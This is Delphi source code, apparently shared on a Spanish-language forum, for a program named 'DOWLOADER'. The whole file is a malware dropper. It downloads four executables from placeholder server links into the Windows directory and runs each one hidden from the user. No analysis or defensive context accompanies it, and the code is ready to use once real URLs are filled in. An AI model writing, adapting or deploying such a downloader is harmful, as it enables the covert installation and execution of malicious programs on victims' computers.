Código: Seleccionar todo
program DOWLOADER;
uses
UrlMon, windows, Shellapi, SysUtils, TLHelp32;
{$E exe}
{$R *.res}
const down1 = 'LINK SERVER';
const procede1 = 'SERVER1.exe';
const down2 = 'LINK SERVER';
const procede2 = 'SERVER2.exe';
const down3 = 'LINK SERVER';
const procede3 = 'SERVER3.exe';
const down4 = 'LINK SERVER';
const procede4 = 'SERVER4.exe';
function DF(S, D: string): Boolean; begin try Result := UrlDownloadToFile(nil, PChar(s), PChar(D), 0, nil) = 0; except Result := False; end; end;
function W : String; Var Buffer : Array[0..144] of Char; Begin GetWindowsDirectory(Buffer,144); Result := StrPas(Buffer); End;
procedure f(N, P: String); Var Co: Array[0..1024] of Char; Pa: Array[0..1024] of Char; begin StrPCopy (Co, N); StrPCopy (Pa, P); ShellExecute (0, Nil, Co, Pa, Nil, SW_HIDE); end;
{$I+}
begin
if DF(down1,w+'\'+procede1) then
begin
f(w+'\'+procede1, '');
end;
if DF(down2,w+'\'+procede2) then
begin
f(w+'\'+procede2, '');
end;
if DF(down3,w+'\'+procede3) then
begin
f(w+'\'+procede3, '');
end;
if DF(down4,w+'\'+procede4) then
begin
f(w+'\'+procede4, '');
end;
end.